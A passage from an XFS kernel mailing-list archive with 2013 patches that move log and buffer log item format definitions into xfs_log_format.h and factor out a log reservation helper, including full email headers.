XLOG_REG_TYPE_IATTR_EXT 10 +#define XLOG_REG_TYPE_IATTR_BROOT 11 +#define XLOG_REG_TYPE_IATTR_LOCAL 12 +#define XLOG_REG_TYPE_QFORMAT 13 +#define XLOG_REG_TYPE_DQUOT 14 +#define XLOG_REG_TYPE_QUOTAOFF 15 +#define XLOG_REG_TYPE_LRHEADER 16 +#define XLOG_REG_TYPE_UNMOUNT 17 +#define XLOG_REG_TYPE_COMMIT 18 +#define XLOG_REG_TYPE_TRANSHDR 19 +#define XLOG_REG_TYPE_ICREATE 20 +#define XLOG_REG_TYPE_MAX 20 + +/* + * Flags to log operation header + * + * The first write of a new transaction will be preceded with a start + * record, XLOG_START_TRANS. Once a transaction is committed, a commit + * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into + * the remainder of the current active in-core log, it is split up into + * multiple regions. Each partial region will be marked with a + * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. + * + */ +#define XLOG_START_TRANS 0x01 /* Start a new transaction */ +#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ +#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ +#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ +#define XLOG_END_TRANS 0x10 /* End a continued transaction */ +#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ + + +typedef struct xlog_op_header { + __be32 oh_tid; /* transaction id of operation : 4 b */ + __be32 oh_len; /* bytes in data region : 4 b */ + __u8 oh_clientid; /* who sent me this : 1 b */ + __u8 oh_flags; /* : 1 b */ + __u16 oh_res2; /* 32 bit align : 2 b */ +} xlog_op_header_t; + + +/* valid values for h_fmt */ +#define XLOG_FMT_UNKNOWN 0 +#define XLOG_FMT_LINUX_LE 1 +#define XLOG_FMT_LINUX_BE 2 +#define XLOG_FMT_IRIX_BE 3 + +/* our fmt */ +#ifdef XFS_NATIVE_HOST +#define XLOG_FMT XLOG_FMT_LINUX_BE +#else +#define XLOG_FMT XLOG_FMT_LINUX_LE +#endif + +typedef struct xlog_rec_header { + __be32 h_magicno; /* log record (LR) identifier : 4 */ + __be32 h_cycle; /* write cycle of log : 4 */ + __be32 h_version; /* LR version : 4 */ + __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ + __be64 h_lsn; /* lsn of this LR : 8 */ + __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ + __le32 h_crc; /* crc of log record : 4 */ + __be32 h_prev_block; /* block number to previous LR : 4 */ + __be32 h_num_logops; /* number of log operations in this LR : 4 */ + __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; + /* new fields */ + __be32 h_fmt; /* format of log record : 4 */ + uuid_t h_fs_uuid; /* uuid of FS : 16 */ + __be32 h_size; /* iclog size : 4 */ +} xlog_rec_header_t; + +typedef struct xlog_rec_ext_header { + __be32 xh_cycle; /* write cycle of log : 4 */ + __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ +} xlog_rec_ext_header_t; + +/* + * Quite misnamed, because this union lays out the actual on-disk log buffer. + */ +typedef union xlog_in_core2 { + xlog_rec_header_t hic_header; + xlog_rec_ext_header_t hic_xheader; + char hic_sector[XLOG_HEADER_SIZE]; +} xlog_in_core_2_t; + +/* not an on-disk structure, but needed by log recovery in userspace */ +typedef struct xfs_log_iovec { + void *i_addr; /* beginning address of region */ + int i_len; /* length in bytes of region */ + uint i_type; /* type of region */ +} xfs_log_iovec_t; + +#endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/fs/xfs/xfs_log_priv.h b/fs/xfs/xfs_log_priv.h index b9ea262..edd0964 100644 --- a/fs/xfs/xfs_log_priv.h +++ b/fs/xfs/xfs_log_priv.h @@ -24,51 +24,13 @@ struct xlog_ticket; struct xfs_mount; /* - * Macros, structures, prototypes for internal log manager use. + * Flags for log structure */ - -#define XLOG_MIN_ICLOGS 2 -#define XLOG_MAX_ICLOGS 8 -#define XLOG_HEADER_MAGIC_NUM 0xFEEDbabe /* Invalid cycle number */ -#define XLOG_VERSION_1 1 -#define XLOG_VERSION_2 2 /* Large IClogs, Log sunit */ -#define XLOG_VERSION_OKBITS (XLOG_VERSION_1 | XLOG_VERSION_2) -#define XLOG_MIN_RECORD_BSIZE (16*1024) /* eventually 32k */ -#define XLOG_BIG_RECORD_BSIZE (32*1024) /* 32k buffers */ -#define XLOG_MAX_RECORD_BSIZE (256*1024) -#define XLOG_HEADER_CYCLE_SIZE (32*1024) /* cycle data in header */ -#define XLOG_MIN_RECORD_BSHIFT 14 /* 16384 == 1 << 14 */ -#define XLOG_BIG_RECORD_BSHIFT 15 /* 32k == 1 << 15 */ -#define XLOG_MAX_RECORD_BSHIFT 18 /* 256k == 1 << 18 */ -#define XLOG_BTOLSUNIT(log, b) (((b)+(log)->l_mp->m_sb.sb_logsunit-1) / \ - (log)->l_mp->m_sb.sb_logsunit) -#define XLOG_LSUNITTOB(log, su) ((su) * (log)->l_mp->m_sb.sb_logsunit) - -#define XLOG_HEADER_SIZE 512 - -#define XLOG_REC_SHIFT(log) \ - BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) -#define XLOG_TOTAL_REC_SHIFT(log) \ - BTOBB(XLOG_MAX_ICLOGS << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ - XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) - -static inline xfs_lsn_t xlog_assign_lsn(uint cycle, uint block) -{ - return ((xfs_lsn_t)cycle << 32) | block; -} - -static inline uint xlog_get_cycle(char *ptr) -{ - if (be32_to_cpu(*(__be32 *)ptr) == XLOG_HEADER_MAGIC_NUM) - return be32_to_cpu(*((__be32 *)ptr + 1)); - else - return be32_to_cpu(*(__be32 *)ptr); -} - -#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) - -#ifdef __KERNEL__ +#define XLOG_ACTIVE_RECOVERY 0x2 /* in the middle of recovery */ +#define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ +#define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being + shutdown */ +#define XLOG_TAIL_WARN 0x10 /* log tail verify warning issued */ /* * get client id from packed copy. @@ -101,28 +63,8 @@ static inline uint xlog_get_client_id(__be32 i) #define XLOG_STATE_IOERROR 0x0080 /* IO error happened in sync'ing log */ #define XLOG_STATE_ALL 0x7FFF /* All possible valid flags */ #define XLOG_STATE_NOTUSED 0x8000 /* This IC log not being used */ -#endif /* __KERNEL__ */ /* - * Flags to log operation header - * - * The first write of a new transaction will be preceded with a start - * record, XLOG_START_TRANS. Once a transaction is committed, a commit - * record is written, XLOG_COMMIT_TRANS. If a single region can not fit into - * the remainder of the current active in-core log, it is split up into - * multiple regions. Each partial region will be marked with a - * XLOG_CONTINUE_TRANS until the last one, which gets marked with XLOG_END_TRANS. - * - */ -#define XLOG_START_TRANS 0x01 /* Start a new transaction */ -#define XLOG_COMMIT_TRANS 0x02 /* Commit this transaction */ -#define XLOG_CONTINUE_TRANS 0x04 /* Cont this trans into new region */ -#define XLOG_WAS_CONT_TRANS 0x08 /* Cont this trans into new region */ -#define XLOG_END_TRANS 0x10 /* End a continued transaction */ -#define XLOG_UNMOUNT_TRANS 0x20 /* Unmount a filesystem transaction */ - -#ifdef __KERNEL__ -/* * Flags to log ticket */ #define XLOG_TIC_INITED 0x1 /* has been initialized */ @@ -132,22 +74,6 @@ static inline uint xlog_get_client_id(__be32 i) { XLOG_TIC_INITED, "XLOG_TIC_INITED" }, \ { XLOG_TIC_PERM_RESERV, "XLOG_TIC_PERM_RESERV" } -#endif /* __KERNEL__ */ - -#define XLOG_UNMOUNT_TYPE 0x556e /* Un for Unmount */ - -/* - * Flags for log structure - */ -#define XLOG_ACTIVE_RECOVERY 0x2 /* in the middle of recovery */ -#define XLOG_RECOVERY_NEEDED 0x4 /* log was recovered */ -#define XLOG_IO_ERROR 0x8 /* log hit an I/O error, and being - shutdown */ -#define XLOG_TAIL_WARN 0x10 /* log tail verify warning issued */ - -typedef __uint32_t xlog_tid_t; - -#ifdef __KERNEL__ /* * Below are states for covering allocation transactions. * By covering, we mean changing the h_tail_lsn in the last on-disk @@ -223,7 +149,6 @@ typedef __uint32_t xlog_tid_t; #define XLOG_COVER_OPS 5 - /* Ticket reservation region accounting */ #define XLOG_TIC_LEN_MAX 15 @@ -258,64 +183,6 @@ typedef struct xlog_ticket { xlog_res_t t_res_arr[XLOG_TIC_LEN_MAX]; /* array of res : 8 * 15 */ } xlog_ticket_t; -#endif - - -typedef struct xlog_op_header { - __be32 oh_tid; /* transaction id of operation : 4 b */ - __be32 oh_len; /* bytes in data region : 4 b */ - __u8 oh_clientid; /* who sent me this : 1 b */ - __u8 oh_flags; /* : 1 b */ - __u16 oh_res2; /* 32 bit align : 2 b */ -} xlog_op_header_t; - - -/* valid values for h_fmt */ -#define XLOG_FMT_UNKNOWN 0 -#define XLOG_FMT_LINUX_LE 1 -#define XLOG_FMT_LINUX_BE 2 -#define XLOG_FMT_IRIX_BE 3 - -/* our fmt */ -#ifdef XFS_NATIVE_HOST -#define XLOG_FMT XLOG_FMT_LINUX_BE -#else -#define XLOG_FMT XLOG_FMT_LINUX_LE -#endif - -typedef struct xlog_rec_header { - __be32 h_magicno; /* log record (LR) identifier : 4 */ - __be32 h_cycle; /* write cycle of log : 4 */ - __be32 h_version; /* LR version : 4 */ - __be32 h_len; /* len in bytes; should be 64-bit aligned: 4 */ - __be64 h_lsn; /* lsn of this LR : 8 */ - __be64 h_tail_lsn; /* lsn of 1st LR w/ buffers not committed: 8 */ - __le32 h_crc; /* crc of log record : 4 */ - __be32 h_prev_block; /* block number to previous LR : 4 */ - __be32 h_num_logops; /* number of log operations in this LR : 4 */ - __be32 h_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; - /* new fields */ - __be32 h_fmt; /* format of log record : 4 */ - uuid_t h_fs_uuid; /* uuid of FS : 16 */ - __be32 h_size; /* iclog size : 4 */ -} xlog_rec_header_t; - -typedef struct xlog_rec_ext_header { - __be32 xh_cycle; /* write cycle of log : 4 */ - __be32 xh_cycle_data[XLOG_HEADER_CYCLE_SIZE / BBSIZE]; /* : 256 */ -} xlog_rec_ext_header_t; - -#ifdef __KERNEL__ - -/* - * Quite misnamed, because this union lays out the actual on-disk log buffer. - */ -typedef union xlog_in_core2 { - xlog_rec_header_t hic_header; - xlog_rec_ext_header_t hic_xheader; - char hic_sector[XLOG_HEADER_SIZE]; -} xlog_in_core_2_t; - /* * - A log record header is 512 bytes. There is plenty of room to grow the * xlog_rec_header_t into the reserved space. @@ -686,6 +553,5 @@ static inline void xlog_wait(wait_queue_head_t *wq, spinlock_t *lock) schedule(); remove_wait_queue(wq, &wait); } -#endif /* __KERNEL__ */ #endif /* __XFS_LOG_PRIV_H__ */ diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 6fcc910a..27f2572 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -55,6 +55,8 @@ #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" +#define BLK_AVG(blk1, blk2) ((blk1+blk2) >> 1) + STATIC int xlog_find_zeroed( struct xlog *, -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 542727F7E for ; Fri, 19 Jul 2013 01:25:38 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D992EAC00E for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-ASG-Debug-ID: 1374215130-04cbb04690117c020004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id HrYS4p5ylQR9KxV6 for ; Thu, 18 Jul 2013 23:25:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45yhSADqSqDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:30 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047w-I6 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001wp-H2 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 03/49] xfs: split out buf log item format definitions Date: Fri, 19 Jul 2013 16:24:34 +1000 X-ASG-Orig-Subj: [PATCH 03/49] xfs: split out buf log item format definitions Message-Id: <1374215120-7271-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215135 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf_item.h | 100 ++---------------------------------------------- fs/xfs/xfs_log_format.h | 97 ++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 100 insertions(+), 97 deletions(-) diff --git a/fs/xfs/xfs_buf_item.h b/fs/xfs/xfs_buf_item.h index 0f1c247..db63710 100644 --- a/fs/xfs/xfs_buf_item.h +++ b/fs/xfs/xfs_buf_item.h @@ -18,101 +18,9 @@ #ifndef __XFS_BUF_ITEM_H__ #define __XFS_BUF_ITEM_H__ -extern kmem_zone_t *xfs_buf_item_zone; - -/* - * This flag indicates that the buffer contains on disk inodes - * and requires special recovery handling. - */ -#define XFS_BLF_INODE_BUF (1<<0) -/* - * This flag indicates that the buffer should not be replayed - * during recovery because its blocks are being freed. - */ -#define XFS_BLF_CANCEL (1<<1) - -/* - * This flag indicates that the buffer contains on disk - * user or group dquots and may require special recovery handling. - */ -#define XFS_BLF_UDQUOT_BUF (1<<2) -#define XFS_BLF_PDQUOT_BUF (1<<3) -#define XFS_BLF_GDQUOT_BUF (1<<4) - -#define XFS_BLF_CHUNK 128 -#define XFS_BLF_SHIFT 7 -#define BIT_TO_WORD_SHIFT 5 -#define NBWORD (NBBY * sizeof(unsigned int)) - -/* - * This is the structure used to lay out a buf log item in the - * log. The data map describes which 128 byte chunks of the buffer - * have been logged. - */ -#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) +/* kernel only definitions */ -typedef struct xfs_buf_log_format { - unsigned short blf_type; /* buf log item type indicator */ - unsigned short blf_size; /* size of this item */ - ushort blf_flags; /* misc state */ - ushort blf_len; /* number of blocks in this buf */ - __int64_t blf_blkno; /* starting blkno of this buf */ - unsigned int blf_map_size; /* used size of data bitmap in words */ - unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ -} xfs_buf_log_format_t; - -/* - * All buffers now need to tell recovery where the magic number - * is so that it can verify and calculate the CRCs on the buffer correctly - * once the changes have been replayed into the buffer. - * - * The type value is held in the upper 5 bits of the blf_flags field, which is - * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. - */ -#define XFS_BLFT_BITS 5 -#define XFS_BLFT_SHIFT 11 -#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) - -enum xfs_blft { - XFS_BLFT_UNKNOWN_BUF = 0, - XFS_BLFT_UDQUOT_BUF, - XFS_BLFT_PDQUOT_BUF, - XFS_BLFT_GDQUOT_BUF, - XFS_BLFT_BTREE_BUF, - XFS_BLFT_AGF_BUF, - XFS_BLFT_AGFL_BUF, - XFS_BLFT_AGI_BUF, - XFS_BLFT_DINO_BUF, - XFS_BLFT_SYMLINK_BUF, - XFS_BLFT_DIR_BLOCK_BUF, - XFS_BLFT_DIR_DATA_BUF, - XFS_BLFT_DIR_FREE_BUF, - XFS_BLFT_DIR_LEAF1_BUF, - XFS_BLFT_DIR_LEAFN_BUF, - XFS_BLFT_DA_NODE_BUF, - XFS_BLFT_ATTR_LEAF_BUF, - XFS_BLFT_ATTR_RMT_BUF, - XFS_BLFT_SB_BUF, - XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), -}; - -static inline void -xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) -{ - ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); - blf->blf_flags &= ~XFS_BLFT_MASK; - blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); -} - -static inline __uint16_t -xfs_blft_from_flags(struct xfs_buf_log_format *blf) -{ - return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; -} - -/* - * buf log item flags - */ +/* buf log item flags */ #define XFS_BLI_HOLD 0x01 #define XFS_BLI_DIRTY 0x02 #define XFS_BLI_STALE 0x04 @@ -133,8 +41,6 @@ xfs_blft_from_flags(struct xfs_buf_log_format *blf) { XFS_BLI_ORDERED, "ORDERED" } -#ifdef __KERNEL__ - struct xfs_buf; struct xfs_mount; struct xfs_buf_log_item; @@ -169,6 +75,6 @@ void xfs_trans_buf_set_type(struct xfs_trans *, struct xfs_buf *, enum xfs_blft); void xfs_trans_buf_copy_type(struct xfs_buf *dst_bp, struct xfs_buf *src_bp); -#endif /* __KERNEL__ */ +extern kmem_zone_t *xfs_buf_item_zone; #endif /* __XFS_BUF_ITEM_H__ */ diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index fd46a7f..77a6024 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -364,4 +364,101 @@ static inline uint xfs_icdinode_size(int version) return sizeof(struct xfs_icdinode); return offsetof(struct xfs_icdinode, di_next_unlinked); } + +/* + * Buffer Log Format defintions + * + * These are the physical dirty bitmap defintions for the log format structure. + */ +#define XFS_BLF_CHUNK 128 +#define XFS_BLF_SHIFT 7 +#define BIT_TO_WORD_SHIFT 5 +#define NBWORD (NBBY * sizeof(unsigned int)) + +/* + * This flag indicates that the buffer contains on disk inodes + * and requires special recovery handling. + */ +#define XFS_BLF_INODE_BUF (1<<0) + +/* + * This flag indicates that the buffer should not be replayed + * during recovery because its blocks are being freed. + */ +#define XFS_BLF_CANCEL (1<<1) + +/* + * This flag indicates that the buffer contains on disk + * user or group dquots and may require special recovery handling. + */ +#define XFS_BLF_UDQUOT_BUF (1<<2) +#define XFS_BLF_PDQUOT_BUF (1<<3) +#define XFS_BLF_GDQUOT_BUF (1<<4) + +/* + * This is the structure used to lay out a buf log item in the + * log. The data map describes which 128 byte chunks of the buffer + * have been logged. + */ +#define XFS_BLF_DATAMAP_SIZE ((XFS_MAX_BLOCKSIZE / XFS_BLF_CHUNK) / NBWORD) + +typedef struct xfs_buf_log_format { + unsigned short blf_type; /* buf log item type indicator */ + unsigned short blf_size; /* size of this item */ + ushort blf_flags; /* misc state */ + ushort blf_len; /* number of blocks in this buf */ + __int64_t blf_blkno; /* starting blkno of this buf */ + unsigned int blf_map_size; /* used size of data bitmap in words */ + unsigned int blf_data_map[XFS_BLF_DATAMAP_SIZE]; /* dirty bitmap */ +} xfs_buf_log_format_t; + +/* + * All buffers now need to tell recovery where the magic number + * is so that it can verify and calculate the CRCs on the buffer correctly + * once the changes have been replayed into the buffer. + * + * The type value is held in the upper 5 bits of the blf_flags field, which is + * an unsigned 16 bit field. Hence we need to shift it 11 bits up and down. + */ +#define XFS_BLFT_BITS 5 +#define XFS_BLFT_SHIFT 11 +#define XFS_BLFT_MASK (((1 << XFS_BLFT_BITS) - 1) << XFS_BLFT_SHIFT) + +enum xfs_blft { + XFS_BLFT_UNKNOWN_BUF = 0, + XFS_BLFT_UDQUOT_BUF, + XFS_BLFT_PDQUOT_BUF, + XFS_BLFT_GDQUOT_BUF, + XFS_BLFT_BTREE_BUF, + XFS_BLFT_AGF_BUF, + XFS_BLFT_AGFL_BUF, + XFS_BLFT_AGI_BUF, + XFS_BLFT_DINO_BUF, + XFS_BLFT_SYMLINK_BUF, + XFS_BLFT_DIR_BLOCK_BUF, + XFS_BLFT_DIR_DATA_BUF, + XFS_BLFT_DIR_FREE_BUF, + XFS_BLFT_DIR_LEAF1_BUF, + XFS_BLFT_DIR_LEAFN_BUF, + XFS_BLFT_DA_NODE_BUF, + XFS_BLFT_ATTR_LEAF_BUF, + XFS_BLFT_ATTR_RMT_BUF, + XFS_BLFT_SB_BUF, + XFS_BLFT_MAX_BUF = (1 << XFS_BLFT_BITS), +}; + +static inline void +xfs_blft_to_flags(struct xfs_buf_log_format *blf, enum xfs_blft type) +{ + ASSERT(type > XFS_BLFT_UNKNOWN_BUF && type < XFS_BLFT_MAX_BUF); + blf->blf_flags &= ~XFS_BLFT_MASK; + blf->blf_flags |= ((type << XFS_BLFT_SHIFT) & XFS_BLFT_MASK); +} + +static inline __uint16_t +xfs_blft_from_flags(struct xfs_buf_log_format *blf) +{ + return (blf->blf_flags & XFS_BLFT_MASK) >> XFS_BLFT_SHIFT; +} + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8487D7F81 for ; Fri, 19 Jul 2013 01:25:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 00DA4AC010 for ; Thu, 18 Jul 2013 23:25:37 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id gibpsffAnGfxrcAb for ; Thu, 18 Jul 2013 23:25:36 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGDE5AxsZiA+2L45nC4UgA6F/hyuDJCo Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:32 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0483-00048G-En for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0483-0001zw-Bb for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:23 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 40/49] xfs: Refactor xfs_ticket_alloc() to extract a new helper Date: Fri, 19 Jul 2013 16:25:11 +1000 X-ASG-Orig-Subj: [PATCH 40/49] xfs: Refactor xfs_ticket_alloc() to extract a new helper Message-Id: <1374215120-7271-41-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215136 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Refactor xlog_ticket_alloc() to extract a new helper, i.e. xfs_log_calc_unit_res(). This helper would be used to calculate the total log reservation size by adding extra log operation/transation headers for a new log ticket. Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- fs/xfs/xfs_log.c | 60 +++++++++++++++++++++++++++++++------------------ fs/xfs/xfs_log_format.h | 4 ++++ 2 files changed, 42 insertions(+), 22 deletions(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index d852a2b..b02415b 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -3391,24 +3391,17 @@ xfs_log_ticket_get( } /* - * Allocate and initialise a new log ticket. + * Figure out the total log space unit (in bytes) that would be + * required for a log ticket. */ -struct xlog_ticket * -xlog_ticket_alloc( - struct xlog *log, - int unit_bytes, - int cnt, - char client, - bool permanent, - xfs_km_flags_t alloc_flags) +int +xfs_log_calc_unit_res( + struct xfs_mount *mp, + int unit_bytes) { - struct xlog_ticket *tic; - uint num_headers; - int iclog_space; - - tic = kmem_zone_zalloc(xfs_log_ticket_zone, alloc_flags); - if (!tic) - return NULL; + struct xlog *log = mp->m_log; + int iclog_space; + uint num_headers; /* * Permanent reservations have up to 'cnt'-1 active log operations @@ -3483,20 +3476,43 @@ xlog_ticket_alloc( unit_bytes += log->l_iclog_hsize; /* for roundoff padding for transaction data and one for commit record */ - if (xfs_sb_version_haslogv2(&log->l_mp->m_sb) && - log->l_mp->m_sb.sb_logsunit > 1) { + if (xfs_sb_version_haslogv2(&mp->m_sb) && mp->m_sb.sb_logsunit > 1) { /* log su roundoff */ - unit_bytes += 2*log->l_mp->m_sb.sb_logsunit; + unit_bytes += 2 * mp->m_sb.sb_logsunit; } else { /* BB roundoff */ - unit_bytes += 2*BBSIZE; + unit_bytes += 2 * BBSIZE; } + return unit_bytes; +} + +/* + * Allocate and initialise a new log ticket. + */ +struct xlog_ticket * +xlog_ticket_alloc( + struct xlog *log, + int unit_bytes, + int cnt, + char client, + bool permanent, + xfs_km_flags_t alloc_flags) +{ + struct xlog_ticket *tic; + int unit_res; + + tic = kmem_zone_zalloc(xfs_log_ticket_zone, alloc_flags); + if (!tic) + return NULL; + + unit_res = xfs_log_calc_unit_res(log->l_mp, unit_bytes); + atomic_set(&tic->t_ref, 1); tic->t_task = current; INIT_LIST_HEAD(&tic->t_queue); - tic->t_unit_res = unit_bytes; - tic->t_curr_res = unit_bytes; + tic->t_unit_res = unit_res; + tic->t_curr_res = unit_res; tic->t_cnt = cnt; tic->t_ocnt = cnt; tic->t_tid = prandom_u32(); diff --git a/fs/xfs/xfs_log_format.h b/fs/xfs/xfs_log_format.h index 198381e..cc08f59 100644 --- a/fs/xfs/xfs_log_format.h +++ b/fs/xfs/xfs_log_format.h @@ -18,6 +18,8 @@ #ifndef __XFS_LOG_FORMAT_H__ #define __XFS_LOG_FORMAT_H__ +struct xfs_mount; + /* * On-disk Log Format definitions. * @@ -834,4 +836,6 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; +int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); + #endif /* __XFS_LOG_FORMAT_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:25:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C555D7F6C for ; Fri, 19 Jul 2013 01:25:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B4A8A8F8033 for ; Thu, 18 Jul 2013 23:25:39 -0700 (PDT) X-ASG-Debug-ID: 1374215132-04cbb04690117c030004-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net 